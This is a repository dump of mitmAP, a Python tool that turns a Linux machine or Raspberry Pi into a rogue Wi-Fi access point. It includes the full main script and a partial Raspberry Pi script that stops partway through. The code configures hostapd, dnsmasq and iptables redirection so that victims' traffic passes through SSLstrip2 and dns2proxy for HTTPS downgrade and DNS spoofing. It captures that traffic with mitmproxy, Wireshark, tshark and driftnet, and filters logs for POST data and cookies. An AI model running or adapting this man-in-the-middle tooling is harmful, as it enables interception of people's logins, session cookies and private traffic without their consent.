├── LICENSE
├── README.md
├── mitmAP.py
├── mitmAP_rpi.py
└── src
├── dns2proxy
├── README.md
├── dns2proxy.py
├── domains.cfg
├── nospoof.cfg
├── nospoofto.cfg
├── resolv.conf
├── spoof.cfg
└── victims.cfg
└── sslstrip2
├── COPYING
├── README.md
├── build
├── lib.linux-i686-2.6
│ └── sslstrip
│ │ ├── ClientRequest.py
│ │ ├── CookieCleaner.py
│ │ ├── DnsCache.py
│ │ ├── SSLServerConnection.py
│ │ ├── ServerConnection.py
│ │ ├── ServerConnectionFactory.py
│ │ ├── StrippingProxy.py
│ │ └── URLMonitor.py
├── lib.linux-i686-2.7
│ └── sslstrip
│ │ ├── ClientRequest.py
│ │ ├── CookieCleaner.py
│ │ ├── DnsCache.py
│ │ ├── SSLServerConnection.py
│ │ ├── ServerConnection.py
│ │ ├── ServerConnectionFactory.py
│ │ ├── StrippingProxy.py
│ │ └── URLMonitor.py
├── scripts-2.6
│ └── sslstrip
└── scripts-2.7
│ └── sslstrip
├── lock.ico
├── setup.py
├── sslstrip.py
└── sslstrip
├── ClientRequest.py
├── ClientRequest.pyc
├── CookieCleaner.py
├── CookieCleaner.pyc
├── DnsCache.py
├── DnsCache.pyc
├── SSLServerConnection.py
├── SSLServerConnection.pyc
├── ServerConnection.py
├── ServerConnection.pyc
├── ServerConnectionFactory.py
├── ServerConnectionFactory.pyc
├── StrippingProxy.py
├── StrippingProxy.pyc
├── URLMonitor.py
├── URLMonitor.pyc
└── __init__.pyc
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2017 David Schütz
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | _ _ ___ ______
2 | (_) | / _ \ | ___ \
3 | _ __ ___ _| |_ _ __ ___ / /_\ \| |_/ /
4 | | '_ ` _ \| | __| '_ ` _ \| _ || __/
5 | | | | | | | | |_| | | | | | | | || |
6 | |_| |_| |_|_|\__|_| |_| |_\_| |_/\_| 2.2
7 |
8 | ### ⚠️ Warning! This project is no longer maintained and may not work as excepted.
9 |
10 |
A python program to create a fake AP and sniff data.
11 |
12 | # new in 2.0:
13 | * SSLstrip2 for HSTS bypass
14 | * Image capture with Driftnet
15 | * TShark for command line .pcap capture
16 |
17 | # features:
18 | * SSLstrip2
19 | * Driftnet
20 | * Tshark
21 | * Full featured access point, with configurable speed limit
22 | * mitmproxy
23 | * Wireshark
24 | * DNS Spoofing
25 | * Saving results to file
26 |
27 | # requirements:
28 | Kali Linux / Raspbian with root privileges
29 | A wireless card and an ethernet adapter / 2 wireless card
30 | Python3 (mitmAP will install the dependenices, you don't have to do it)
31 |
32 | # downloading:
33 | "git clone https://github.com/xdavidhu/mitmAP"
34 |
35 | # starting:
36 | * Kali Linux -> "sudo python3 mitmAP.py"
37 | * Raspberry PI -> "sudo python3 mitmAP_rpi.py"
38 |
39 | Important: At the first run, choose 'y' on installing dependencies and on creating the config files!
40 |
41 | # disclaimer:
42 | I'm not responsible for anything you do with this program, so please only use it for good and educational purposes.
43 |
--------------------------------------------------------------------------------
/mitmAP.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 |
3 | import os
4 | import time
5 | import subprocess
6 |
7 | header = """
8 | _ _ ___ ______
9 | (_) | / _ \ | ___ \\
10 | _ __ ___ _| |_ _ __ ___ / /_\ \| |_/ /
11 | | '_ ` _ \| | __| '_ ` _ \| _ || __/
12 | | | | | | | | |_| | | | | | | | || |
13 | |_| |_| |_|_|\__|_| |_| |_\_| |_/\_| 2.2
14 | """
15 |
16 | try:
17 | print(header + " by David Schütz (@xdavidhu)\n")
18 | except:
19 | print(header + " by @xdavidhu\n")
20 |
21 | sudo = "/usr/bin/sudo"
22 | tee = "/usr/bin/tee"
23 |
24 | def _run_cmd_write(cmd_args, s):
25 | # write a file using sudo
26 | p = subprocess.Popen(cmd_args,
27 | stdin=subprocess.PIPE,
28 | stdout=subprocess.DEVNULL,
29 | shell=False, universal_newlines=True)
30 | p.stdin.write(s)
31 | p.stdin.close()
32 | p.wait()
33 |
34 | def write_file(path, s):
35 | _run_cmd_write((sudo, tee, path), s)
36 |
37 | def append_file(path, s):
38 | # append to the file, don't overwrite
39 | _run_cmd_write((sudo, tee, "-a", path), s)
40 |
41 | try:
42 | script_path = os.path.dirname(os.path.realpath(__file__))
43 | script_path = script_path + "/"
44 | os.system("sudo mkdir " + script_path + "logs > /dev/null 2>&1")
45 | os.system("sudo chmod 777 " + script_path + "logs")
46 |
47 | #UPDATING
48 | update = input("[?] Install/Update dependencies? Y/n: ")
49 | update = update.lower()
50 | if update == "y" or update == "":
51 | print("[I] Checking/Installing dependencies, please wait...")
52 | os.system("sudo apt-get update")
53 | os.system("sudo apt-get install dnsmasq -y")
54 | os.system("sudo apt-get install wireshark -y")
55 | os.system("sudo apt-get install hostapd -y")
56 | os.system("sudo apt-get install screen -y")
57 | os.system("sudo apt-get install wondershaper -y")
58 | os.system("sudo apt-get install driftnet -y")
59 | os.system("sudo apt-get install python-pip -y")
60 | os.system("sudo apt-get install python3-pip -y")
61 | os.system("sudo apt-get install python3-dev libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg62-turbo-dev zlib1g-dev -y")
62 | os.system("sudo apt-get install libpcap-dev -y")
63 | os.system("sudo python3 -m pip install mitmproxy")
64 | os.system("sudo python -m pip install dnspython")
65 | os.system("sudo python -m pip install pcapy")
66 | os.system("sudo python -m pip install twisted")
67 | #/UPDATING
68 |
69 | ap_iface = input("[?] Please enter the name of your wireless interface (for the AP): ")
70 | net_iface = input("[?] Please enter the name of your internet connected interface: ")
71 | network_manager_cfg = "[main]\nplugins=keyfile\n\n[keyfile]\nunmanaged-devices=interface-name:" + ap_iface + "\n"
72 | print("[I] Backing up NetworkManager.cfg...")
73 | os.system("sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.backup")
74 | print("[I] Editing NetworkManager.cfg...")
75 | write_file("/etc/NetworkManager/NetworkManager.conf", network_manager_cfg )
76 | print("[I] Restarting NetworkManager...")
77 | os.system("sudo service network-manager restart")
78 | os.system("sudo ifconfig " + ap_iface + " up")
79 |
80 | #SSLSTRIP QUESTION
81 | sslstrip_if = input("[?] Use SSLSTRIP 2.0? Y/n: ")
82 | sslstrip_if = sslstrip_if.lower()
83 | #/SSLSTRIP QUESTION
84 |
85 | #DRIFTNET QUESTION
86 | driftnet_if = input("[?] Capture unencrypted images with DRIFTNET? Y/n: ")
87 | driftnet_if = driftnet_if.lower()
88 | #/DRIFTNET QUESTION
89 |
90 | #DNSMASQ CONFIG
91 | print("[I] Backing up /etc/dnsmasq.conf...")
92 | os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup")
93 | print("[I] Creating new /etc/dnsmasq.conf...")
94 | if sslstrip_if == "y" or sslstrip_if == "":
95 | dnsmasq_file = "port=0\n# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap_iface + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\ndhcp-option=3,10.0.0.1\ndhcp-option=6,10.0.0.1\n"
96 | else:
97 | dnsmasq_file = "# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap_iface + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\n# dns addresses to send to the clients\nserver=8.8.8.8\nserver=10.0.0.1\n"
98 | print("[I] Deleting old config file...")
99 | os.system("sudo rm /etc/dnsmasq.conf > /dev/null 2>&1")
100 | print("[I] Writing config file...")
101 | write_file("/etc/dnsmasq.conf", dnsmasq_file)
102 | #/DNSMASQ CONFIG
103 |
104 | #HOSTAPD CONFIG
105 | ssid = input("[?] Please enter the SSID for the AP: ")
106 | while True:
107 | channel = input("[?] Please enter the channel for the AP: ")
108 | if channel.isdigit():
109 | break
110 | else:
111 | print("[!] Please enter a channel number.")
112 | hostapd_wpa = input("[?] Enable WPA2 encryption? y/N: ")
113 | hostapd_wpa = hostapd_wpa.lower()
114 | if hostapd_wpa == "y":
115 | canBreak = False
116 | while not canBreak:
117 | wpa_passphrase = input("[?] Please enter the WPA2 passphrase for the AP: ")
118 | if len(wpa_passphrase) < 8:
119 | print("[!] Please enter minimum 8 characters for the WPA2 passphrase.")
120 | else:
121 | canBreak = True
122 | hostapd_file = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\nwpa=2\nwpa_passphrase=" + wpa_passphrase + "\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=TKIP\nrsn_pairwise=CCMP\n"
123 | else:
124 | hostapd_file = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\n"
125 | print("[I] Deleting old config file...")
126 | os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
127 | print("[I] Writing config file...")
128 | write_file("/etc/hostapd/hostapd.conf", hostapd_file)
129 | #/HOSTAPD CONFIG
130 |
131 | #IPTABLES
132 | print("[I] Configuring AP interface...")
133 | os.system("sudo ifconfig " + ap_iface + " up 10.0.0.1 netmask 255.255.255.0")
134 | print("[I] Applying iptables rules...")
135 | os.system("sudo iptables --flush")
136 | os.system("sudo iptables --table nat --flush")
137 | os.system("sudo iptables --delete-chain")
138 | os.system("sudo iptables --table nat --delete-chain")
139 | os.system("sudo iptables --table nat --append POSTROUTING --out-interface " + net_iface + " -j MASQUERADE")
140 | os.system("sudo iptables --append FORWARD --in-interface " + ap_iface + " -j ACCEPT")
141 | #/IPTABLES
142 |
143 | #SPEED LIMIT
144 | speed_if = input("[?] Set speed limit for the clients? Y/n: ")
145 | speed_if = speed_if.lower()
146 | if speed_if == "y" or speed_if == "":
147 | while True:
148 | speed_down = input("[?] Download speed limit (in KB/s): ")
149 | if speed_down.isdigit():
150 | break
151 | else:
152 | print("[!] Please enter a number.")
153 | while True:
154 | speed_up = input("[?] Upload speed limit (in KB/s): ")
155 | if speed_up.isdigit():
156 | break
157 | else:
158 | print("[!] Please enter a number.")
159 | print("[I] Setting speed limit on " + ap_iface + "...")
160 | os.system("sudo wondershaper " + ap_iface + " " + speed_up + " " + speed_down)
161 | else:
162 | print("[I] Skipping...")
163 | #/SPEED LIMIT
164 |
165 | #WIRESHARK & TSHARK QUESTION
166 | wireshark_if = input("[?] Start WIRESHARK on " + ap_iface + "? Y/n: ")
167 | wireshark_if = wireshark_if.lower()
168 | tshark_if = "n"
169 | if wireshark_if != "y" and wireshark_if != "":
170 | tshark_if = input("[?] Capture packets to .pcap with TSHARK? (no gui needed) Y/n: ")
171 | tshark_if = tshark_if.lower()
172 | #/WIRESHARK & TSHARK QUESTION
173 | #SSLSTRIP MODE
174 | if sslstrip_if == "y" or sslstrip_if == "":
175 |
176 | #SSLSTRIP DNS SPOOFING
177 | ssl_dns_if = input("[?] Spoof DNS manually? y/N: ")
178 | ssl_dns_if = ssl_dns_if.lower()
179 | if ssl_dns_if == "y":
180 | while True:
181 | ssl_dns_num = input("[?] How many domains do you want to spoof?: ")
182 | if ssl_dns_num.isdigit():
183 | break
184 | else:
185 | print("[!] Please enter a number.")
186 | print("[I] Backing up " + script_path + "src/dns2proxy/spoof.cfg...")
187 | os.system("sudo cp " + script_path + "src/dns2proxy/spoof.cfg " + script_path + "src/dns2proxy/spoof.cfg.backup")
188 | os.system("sudo cat /dev/null > "+ script_path + "src/dns2proxy/spoof.cfg")
189 | i = 0
190 | while int(ssl_dns_num) != i:
191 | ssl_dns_num_temp = i + 1
192 | ssl_dns_domain = input("[?] " + str(ssl_dns_num_temp) + ". domain to spoof: ")
193 | ssl_dns_ip = input("[?] Fake IP for domain '" + ssl_dns_domain + "': ")
194 | ssl_dns_line = ssl_dns_domain + " " + ssl_dns_ip + "\n"
195 | os.system("sudo echo -e '" + ssl_dns_line + "' >> "+ script_path + "src/dns2proxy/spoof.cfg")
196 | i = i + 1
197 | #/SSLSTRIP DNS SPOOFING
198 |
199 | print("[I] Starting DNSMASQ server...")
200 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
201 | os.system("sudo pkill dnsmasq")
202 | os.system("sudo dnsmasq")
203 |
204 | proxy_if = "n"
205 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000")
206 | os.system("sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 53")
207 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --dport 53 -j REDIRECT --to-port 53")
208 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
209 |
210 |
211 | print("[I] Starting AP on " + ap_iface + " in screen terminal...")
212 | os.system("sudo screen -S mitmap-sslstrip -m -d python " + script_path + "src/sslstrip2/sslstrip.py -l 9000 -w " + script_path + "logs/mitmap-sslstrip.log -a")
213 | os.system("sudo screen -S mitmap-dns2proxy -m -d sh -c 'cd " + script_path + "src/dns2proxy && python dns2proxy.py'")
214 | time.sleep(5)
215 | os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf")
216 | if wireshark_if == "y" or wireshark_if == "":
217 | print("[I] Starting WIRESHARK...")
218 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap")
219 | if driftnet_if == "y" or driftnet_if == "":
220 | print("[I] Starting DRIFTNET...")
221 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface)
222 | if tshark_if == "y" or tshark_if == "":
223 | print("[I] Starting TSHARK...")
224 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap")
225 | print("\nTAIL started on " + script_path + "logs/mitmap-sslstrip.log...\nWait for output... (press 'CTRL + C' 2 times to stop)\nHOST-s, POST requests and COOKIES will be shown.\n")
226 | try:
227 | time.sleep(5)
228 | except:
229 | print("")
230 | while True:
231 | try:
232 | print("[I] Restarting tail in 1 sec... (press 'CTRL + C' again to stop)")
233 | time.sleep(1)
234 | os.system("sudo tail -f " + script_path + "logs/mitmap-sslstrip.log | grep -e 'Sending Request: POST' -e 'New host:' -e 'Sending header: cookie' -e 'POST Data'")
235 | except KeyboardInterrupt:
236 | break
237 | #STARTING POINT
238 | #SSLSTRIP MODE
239 |
240 |
241 | else:
242 | #DNSMASQ DNS SPOOFING
243 | dns_if = input("[?] Spoof DNS? Y/n: ")
244 | dns_if = dns_if.lower()
245 | if dns_if == "y" or dns_if == "":
246 | while True:
247 | dns_num = input("[?] How many domains do you want to spoof?: ")
248 | if dns_num.isdigit():
249 | break
250 | else:
251 | print("[!] Please enter a number.")
252 | print("[I] Backing up /etc/dnsmasq.conf...")
253 | os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup")
254 | i = 0
255 | while int(dns_num) != i:
256 | dns_num_temp = i + 1
257 | dns_domain = input("[?] " + str(dns_num_temp) + ". domain to spoof: ")
258 | dns_ip = input("[?] Fake IP for domain '" + dns_domain + "': ")
259 | dns_line = "address=/" + dns_domain + "/" + dns_ip + "\n"
260 | append_file("/etc/dnsmasq.conf", dns_line)
261 | i = i + 1
262 | else:
263 | print("[I] Skipping..")
264 | #/DNSMASQ DNS SPOOFING
265 |
266 | print("[I] Starting DNSMASQ server...")
267 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
268 | os.system("sudo pkill dnsmasq")
269 | os.system("sudo dnsmasq")
270 |
271 | #MITMPROXY MODE
272 | proxy_if = input("[?] Capture traffic? Y/n: ")
273 | proxy_if = proxy_if.lower()
274 | if proxy_if == "y" or proxy_if == "":
275 | proxy_config = input("[?] Capture HTTPS traffic too? (Need to install certificate on device) y/N: ")
276 | proxy_config = proxy_config.lower()
277 | if proxy_config == "n" or proxy_config == "":
278 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
279 | else:
280 | print("[I] To install the certificate, go to 'http://mitm.it/' through the proxy, and choose your OS.")
281 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
282 | os.system("sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
283 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
284 | print("[I] Starting AP on " + ap_iface + " in screen terminal...")
285 | if wireshark_if == "y" or wireshark_if == "":
286 | print("[I] Starting WIRESHARK...")
287 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap")
288 | if driftnet_if == "y" or driftnet_if == "":
289 | print("[I] Starting DRIFTNET...")
290 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface)
291 | if tshark_if == "y" or tshark_if == "":
292 | print("[I] Starting TSHARK...")
293 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap")
294 | os.system("sudo screen -S mitmap-hostapd -m -d hostapd /etc/hostapd/hostapd.conf")
295 | print("\nStarting MITMPROXY in 5 seconds... (press q and y to exit)\n")
296 | try:
297 | time.sleep(5)
298 | except:
299 | print("")
300 | os.system("sudo mitmproxy -T --host --follow -w " + script_path + "logs/mitmap-proxy.mitmproxy")
301 | #STARTING POINT
302 | else:
303 | print("[I] Skipping...")
304 | #/MITMPROXY MODE
305 |
306 | if wireshark_if == "y" or wireshark_if == "":
307 | print("[I] Starting WIRESHARK...")
308 | os.system("sudo screen -S mitmap-wireshark -m -d wireshark -i " + ap_iface + " -k -w " + script_path + "logs/mitmap-wireshark.pcap")
309 | if driftnet_if == "y" or driftnet_if == "":
310 | print("[I] Starting DRIFTNET...")
311 | os.system("sudo screen -S mitmap-driftnet -m -d driftnet -i " + ap_iface)
312 | if tshark_if == "y" or tshark_if == "":
313 | print("[I] Starting TSHARK...")
314 | os.system("sudo screen -S mitmap-tshark -m -d tshark -i " + ap_iface + " -w " + script_path + "logs/mitmap-tshark.pcap")
315 | os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
316 | print("[I] Starting AP on " + ap_iface + "...\n")
317 | os.system("sudo hostapd /etc/hostapd/hostapd.conf")
318 | #STARTING POINT
319 |
320 | #STOPPING
321 | print("")
322 | print("[!] Stopping...")
323 | if proxy_if == "y" or proxy_if == "" or sslstrip_if == "y" or sslstrip_if == "":
324 | os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'")
325 | if sslstrip_if == "y" or sslstrip_if == "":
326 | os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'")
327 | os.system("sudo screen -S mitmap-dns2proxy -X stuff '^C\n'")
328 | if ssl_dns_if == "y":
329 | print("[I] Restoring old " + script_path + "src/dns2proxy/spoof.cfg...")
330 | os.system("sudo mv " + script_path + "src/dns2proxy/spoof.cfg.backup " + script_path + "src/dns2proxy/spoof.cfg")
331 | if wireshark_if == "y" or wireshark_if == "":
332 | os.system("sudo screen -S mitmap-wireshark -X stuff '^C\n'")
333 | if driftnet_if == "y" or driftnet_if == "":
334 | os.system("sudo screen -S mitmap-driftnet -X stuff '^C\n'")
335 | if tshark_if == "y" or tshark_if == "":
336 | os.system("sudo screen -S mitmap-tshark -X stuff '^C\n'")
337 | print("[I] Restoring old NetworkManager.cfg")
338 | if os.path.isfile("/etc/NetworkManager/NetworkManager.conf.backup"):
339 | os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf")
340 | else:
341 | os.system("sudo rm /etc/NetworkManager/NetworkManager.conf")
342 | print("[I] Restarting NetworkManager...")
343 | os.system("sudo service network-manager restart")
344 | print("[I] Stopping DNSMASQ server...")
345 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
346 | os.system("sudo pkill dnsmasq")
347 | print("[I] Restoring old dnsmasq.cfg...")
348 | os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1")
349 | print("[I] Deleting old '/etc/dnsmasq.hosts' file...")
350 | os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1")
351 | print("[I] Removeing speed limit from " + ap_iface + "...")
352 | os.system("sudo wondershaper clear " + ap_iface + " > /dev/null 2>&1")
353 | print("[I] Flushing iptables rules...")
354 | os.system("sudo iptables --flush")
355 | os.system("sudo iptables --flush -t nat")
356 | os.system("sudo iptables --delete-chain")
357 | os.system("sudo iptables --table nat --delete-chain")
358 | print("[I] Traffic have been saved to the 'log' folder!")
359 | print("[I] mitmAP stopped.")
360 | except KeyboardInterrupt:
361 | print("\n\n[!] Stopping... (Dont worry if you get errors)")
362 | try:
363 | if proxy_if == "y" or proxy_if == "" or sslstrip_if == "y" or sslstrip_if == "":
364 | os.system("sudo screen -S mitmap-hostapd -X stuff '^C\n'")
365 | if sslstrip_if == "y" or sslstrip_if == "":
366 | os.system("sudo screen -S mitmap-sslstrip -X stuff '^C\n'")
367 | os.system("sudo screen -S mitmap-dns2proxy -X stuff '^C\n'")
368 | if ssl_dns_if == "y":
369 | print("[I] Restoring old " + script_path + "src/dns2proxy/spoof.cfg...")
370 | os.system("sudo mv " + script_path + "src/dns2proxy/spoof.cfg.backup " + script_path + "src/dns2proxy/spoof.cfg")
371 | except:
372 | pass
373 | try:
374 | if wireshark_if == "y" or wireshark_if == "":
375 | os.system("sudo screen -S mitmap-wireshark -X stuff '^C\n'")
376 | except:
377 | pass
378 | try:
379 | if driftnet_if == "y" or driftnet_if == "":
380 | os.system("sudo screen -S mitmap-driftnet -X stuff '^C\n'")
381 | except:
382 | pass
383 | try:
384 | if tshark_if == "y" or tshark_if == "":
385 | os.system("sudo screen -S mitmap-tshark -X stuff '^C\n'")
386 | except:
387 | pass
388 | print("[I] Restoring old NetworkManager.cfg")
389 | if os.path.isfile("/etc/NetworkManager/NetworkManager.conf.backup"):
390 | os.system("sudo mv /etc/NetworkManager/NetworkManager.conf.backup /etc/NetworkManager/NetworkManager.conf > /dev/null 2>&1")
391 | else:
392 | os.system("sudo rm /etc/NetworkManager/NetworkManager.conf > /dev/null 2>&1")
393 | print("[I] Restarting NetworkManager...")
394 | os.system("sudo service network-manager restart")
395 | print("[I] Stopping DNSMASQ server...")
396 | os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
397 | os.system("sudo pkill dnsmasq")
398 | print("[I] Restoring old dnsmasq.cfg...")
399 | os.system("sudo mv /etc/dnsmasq.conf.backup /etc/dnsmasq.conf > /dev/null 2>&1")
400 | print("[I] Deleting old '/etc/dnsmasq.hosts' file...")
401 | os.system("sudo rm /etc/dnsmasq.hosts > /dev/null 2>&1")
402 | try:
403 | print("[I] Removeing speed limit from " + ap_iface + "...")
404 | os.system("sudo wondershaper clear " + ap_iface + " > /dev/null 2>&1")
405 | except:
406 | pass
407 | print("[I] Flushing iptables rules...")
408 | os.system("sudo iptables --flush")
409 | os.system("sudo iptables --flush -t nat")
410 | os.system("sudo iptables --delete-chain")
411 | os.system("sudo iptables --table nat --delete-chain")
412 | print("[I] mitmAP stopped.")
413 |
--------------------------------------------------------------------------------
/mitmAP_rpi.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 |
3 | import os
4 | import time
5 |
6 | header = """
7 | _ _ ___ ______
8 | (_) | / _ \ | ___ \\
9 | _ __ ___ _| |_ _ __ ___ / /_\ \| |_/ /
10 | | '_ ` _ \| | __| '_ ` _ \| _ || __/
11 | | | | | | | | |_| | | | | | | | || |
12 | |_| |_| |_|_|\__|_| |_| |_\_| |_/\_| 2.2
13 | """
14 |
15 | try:
16 | print(header + "4RaspberryPI by David Schütz (@xdavidhu)\n")
17 | except:
18 | print(header + " 4RaspberryPI by @xdavidhu\n")
19 |
20 | try:
21 | script_path = os.path.dirname(os.path.realpath(__file__))
22 | script_path = script_path + "/"
23 | os.system("sudo mkdir " + script_path + "logs > /dev/null 2>&1")
24 | os.system("sudo chmod 777 " + script_path + "logs")
25 |
26 | #UPDATING
27 | update = input("[?] Install/Update dependencies? Y/n: ")
28 | update = update.lower()
29 | if update == "y" or update == "":
30 | print("[I] Checking/Installing dependencies, please wait...")
31 | os.system("sudo apt-get update")
32 | os.system("sudo apt-get install dnsmasq -y")
33 | os.system("sudo apt-get install wireshark -y")
34 | os.system("sudo apt-get install hostapd -y")
35 | os.system("sudo apt-get install screen -y")
36 | os.system("sudo apt-get install wondershaper -y")
37 | os.system("sudo apt-get install driftnet -y")
38 | os.system("sudo apt-get install python-pcapy -y")
39 | os.system("sudo apt-get install python-pip -y")
40 | os.system("sudo apt-get install python3-pip -y")
41 | os.system("sudo apt-get install python3-dev libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg62-turbo-dev zlib1g-dev -y")
42 | os.system("sudo apt-get install libpcap-dev -y")
43 | os.system("sudo python3 -m pip install mitmproxy")
44 | os.system("sudo python -m pip install dnspython")
45 | os.system("sudo python -m pip install pcapy")
46 | os.system("sudo python -m pip install twisted")
47 | #/UPDATING
48 |
49 | ap_iface = input("[?] Please enter the name of your wireless interface (for the AP): ")
50 | net_iface = input("[?] Please enter the name of your internet connected interface: ")
51 | network_manager_cfg = "[main]\nplugins=keyfile\n\n[keyfile]\nunmanaged-devices=interface-name:" + ap_iface
52 | # print("[I] Backing up NetworkManager.cfg...")
53 | # os.system("sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.backup")
54 | # print("[I] Editing NetworkManager.cfg...")
55 | # os.system("sudo echo -e '" + network_manager_cfg + "' > /etc/NetworkManager/NetworkManager.conf")
56 | # print("[I] Restarting NetworkManager...")
57 | # os.system("sudo service network-manager restart")
58 |
59 | print("[I] Killing wpa_supplicant on " + ap_iface + "...")
60 | os.system("sudo kill -s SIGQUIT $(cat /var/run/wpa_supplicant." + ap_iface + ".pid)")
61 |
62 | os.system("sudo ifconfig " + ap_iface + " up")
63 |
64 | #SSLSTRIP QUESTION
65 | sslstrip_if = input("[?] Use SSLSTRIP 2.0? Y/n: ")
66 | sslstrip_if = sslstrip_if.lower()
67 | #/SSLSTRIP QUESTION
68 |
69 | #DRIFTNET QUESTION
70 | driftnet_if = input("[?] Capture unencrypted images with DRIFTNET? (ONLY WORKS WITH GUI) y/N: ")
71 | driftnet_if = driftnet_if.lower()
72 | #/DRIFTNET QUESTION
73 |
74 | #DNSMASQ CONFIG
75 | print("[I] Backing up /etc/dnsmasq.conf...")
76 | os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup")
77 | print("[I] Creating new /etc/dnsmasq.conf...")
78 | if sslstrip_if == "y" or sslstrip_if == "":
79 | dnsmasq_file = "port=0\n# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap_iface + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\ndhcp-option=3,10.0.0.1\ndhcp-option=6,10.0.0.1"
80 | else:
81 | dnsmasq_file = "# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap_iface + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\n# dns addresses to send to the clients\nserver=8.8.8.8\nserver=10.0.0.1"
82 | print("[I] Deleting old config file...")
83 | os.system("sudo rm /etc/dnsmasq.conf > /dev/null 2>&1")
84 | print("[I] Writing config file...")
85 | os.system("sudo echo -e '" + dnsmasq_file + "' > /etc/dnsmasq.conf")
86 | #/DNSMASQ CONFIG
87 |
88 | #HOSTAPD CONFIG
89 | ssid = input("[?] Please enter the SSID for the AP: ")
90 | while True:
91 | channel = input("[?] Please enter the channel for the AP: ")
92 | if channel.isdigit():
93 | break
94 | else:
95 | print("[!] Please enter a channel number.")
96 | hostapd_wpa = input("[?] Enable WPA2 encryption? y/N: ")
97 | hostapd_wpa = hostapd_wpa.lower()
98 | if hostapd_wpa == "y":
99 | canBreak = False
100 | while not canBreak:
101 | wpa_passphrase = input("[?] Please enter the WPA2 passphrase for the AP: ")
102 | if len(wpa_passphrase) < 8:
103 | print("[!] Please enter minimum 8 characters for the WPA2 passphrase.")
104 | else:
105 | canBreak = True
